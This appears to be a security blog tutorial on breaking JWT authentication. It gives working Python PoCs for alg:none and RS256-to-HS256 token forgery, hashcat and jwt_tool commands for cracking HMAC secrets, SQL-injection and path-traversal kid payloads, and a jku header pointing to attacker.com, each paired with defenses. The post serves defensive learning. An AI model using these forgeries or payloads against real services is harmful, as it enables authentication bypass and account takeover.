Research / JWT: всі способи зламати токен
RESEARCH
UA EN

JWT: Every Way to Break a Token

✍ admin 📅 10.06.2026 👁 126

What Is JWT

JWT (JSON Web Token) is a standard for transmitting claims between parties as a signed JSON object. Widely used for authorization in REST APIs and SPAs.

Structure:

header.payload.signature
// Header (base64url decoded)
{"alg": "HS256", "typ": "JWT"}

// Payload
{"sub": "1234", "username": "user", "role": "user", "iat": 1716000000}

// Signature
HMACSHA256(base64url(header) + "." + base64url(payload), secret)

A full token looks like:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwidXNlcm5hbWUiOiJ1c2VyIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Attack 1: Algorithm None (CVE-2015-9235)

Idea: some libraries accept tokens with "alg": "none" — meaning no signature at all.

Exploit:

import base64, json

# Original token: role=user
# Goal: change role=admin without knowing the secret

header = base64url_encode({"alg": "none", "typ": "JWT"})
payload = base64url_encode({"sub": "1234", "role": "admin"})
token = f"{header}.{payload}."  # empty signature

# Send in Authorization header
# Python PoC
import base64, json

def b64url(data):
    return base64.urlsafe_b64encode(json.dumps(data, separators=(',',':')).encode()).rstrip(b'=').decode()

header  = b64url({"alg": "none", "typ": "JWT"})
payload = b64url({"sub": "1234", "username": "admin", "role": "admin", "iat": 1716000000})
token   = f"{header}.{payload}."
print(token)

Defense: explicitly specify allowed algorithms in the library; never accept none.


Attack 2: RS256 → HS256 Key Confusion

Idea: the server uses RS256 (asymmetric encryption). The public key is known to everyone. If the library doesn't fix the algorithm — you can change alg from RS256 to HS256 and sign the token with the public key as an HMAC secret. The server will verify the signature with the same public key — and accept it!

Exploit:

import jwt  # PyJWT

# 1. Get the server's public key
# (often available at /api/jwks.json or /.well-known/jwks.json)
public_key = open("server_public_key.pem").read()

# 2. Sign the modified payload with the public key via HS256
payload = {"sub": "1337", "role": "admin"}
token = jwt.encode(payload, public_key, algorithm="HS256")
print(token)

# 3. Send the token — the server verifies HS256 with the same public key

Defense: fix the algorithm during verification: jwt.decode(token, key, algorithms=["RS256"]).


Attack 3: Weak Secret Brute-Force (HS256)

Idea: if the HMAC secret is weak, it can be cracked and arbitrary tokens can be signed.

# hashcat
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

# john
john jwt.txt --wordlist=rockyou.txt --format=HMAC-SHA256

# jwt_tool
python3 jwt_tool.py TOKEN -C -d rockyou.txt

Python brute-force:

import hmac, hashlib, base64, json

def sign(header, payload, secret):
    msg = f"{b64url(header)}.{b64url(payload)}".encode()
    return base64.urlsafe_b64encode(
        hmac.new(secret.encode(), msg, hashlib.sha256).digest()
    ).rstrip(b'=').decode()

target_sig = "SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"

with open('rockyou.txt', 'rb') as f:
    for line in f:
        secret = line.strip().decode(errors='ignore')
        if sign(header, payload, secret) == target_sig:
            print(f"Secret found: {secret}")
            break

Defense: use cryptographically strong secrets >= 256 bits (32+ bytes of random data).


Attack 4: kid (Key ID) Injection

Idea: the kid parameter in the header specifies which key was used to sign the token. If the server uses kid to look up a key from a database or filesystem — injection may be possible.

SQL Injection via kid

{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker_secret' -- "
}

If the server runs SELECT key FROM keys WHERE id = '{kid}' — the injection substitutes a known secret, which the attacker uses to sign the token.

Path Traversal via kid

{
  "alg": "HS256",
  "kid": "../../dev/null"
}

The server reads /dev/null as the key (empty string) → attacker signs the token with an empty secret.


Attack 5: jku / x5u Header Injection

Idea: the jku (JWK Set URL) and x5u (X.509 Certificate URL) parameters tell the server where to download the public key for verification. If the server doesn't validate the URL — you can point it to your own server.

{
  "alg": "RS256",
  "jku": "https://attacker.com/jwks.json"
}

Exploit: 1. Generate an RSA key pair 2. Publish the public key at attacker.com/jwks.json 3. Sign the token with your private key 4. The server downloads your public key and successfully verifies the token


Attack 6: Embedded JWK

Idea: the JWT header can contain a jwk parameter — an embedded public key. Vulnerable libraries verify the signature with that same key.

{
  "alg": "RS256",
  "jwk": {
    "kty": "RSA",
    "n": "ATTACKER_PUBLIC_KEY_N",
    "e": "AQAB"
  }
}

Tools

# jwt_tool — Swiss army knife for JWT
git clone https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py TOKEN              # decode
python3 jwt_tool.py TOKEN -T           # interactive modification
python3 jwt_tool.py TOKEN -X a         # alg:none attack
python3 jwt_tool.py TOKEN -X s         # RS256->HS256
python3 jwt_tool.py TOKEN -C -d wordlist.txt  # brute-force

# Burp Suite -> JWT Editor extension
# jwt.io -- browser-based decoding

Defenses

Vulnerability Defense
alg:none Explicitly specify allowed algorithms during verification
RS256→HS256 algorithms=["RS256"] — don't trust the header
Weak secret >= 32 bytes from a CSPRNG
kid injection Parameterized queries; whitelist kid values
jku/x5u Don't trust these headers; fix the key URL server-side
Embedded JWK Ignore jwk in header; use the server-side key
Коментарі (0)
Увійди, щоб залишити коментар.
Коментарів поки немає.
Вперше тут?
Новачок на Bastion?
Почни з гайду користувача.
Відкрити гайд →
?